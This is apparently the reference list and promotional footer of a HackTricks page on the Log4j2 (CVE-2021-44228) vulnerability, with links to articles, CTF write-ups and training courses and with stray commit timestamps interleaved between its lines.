* [https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/](https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/)
* [https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/](https://www.bleepingcomputer.com/news/security/all-log4j-logback-bugs-we-know-so-far-and-why-you-must-ditch-215/)
* [https://www.youtube.com/watch?v=XG14EstTgQ4](https://www.youtube.com/watch?v=XG14EstTgQ4)
* [https://tryhackme.com/room/solar](https://tryhackme.com/room/solar)
2021-12-26 17:34:46 +00:00
* [https://www.youtube.com/watch?v=Y8a5nB-vy78](https://www.youtube.com/watch?v=Y8a5nB-vy78)
* [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf)
2022-08-10 14:47:15 +00:00
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
2022-04-28 16:01:33 +00:00
2024-03-14 23:01:13 +00:00
2024-07-19 14:09:38 +00:00
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-19 14:09:38 +00:00
<details>
2022-04-28 16:01:33 +00:00
2024-07-19 14:09:38 +00:00
<summary>Support HackTricks</summary>
2024-02-03 14:45:32 +00:00
2024-07-19 14:09:38 +00:00
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
2022-04-28 16:01:33 +00:00
</details>
2024-07-19 14:09:38 +00:00
{% endhint %}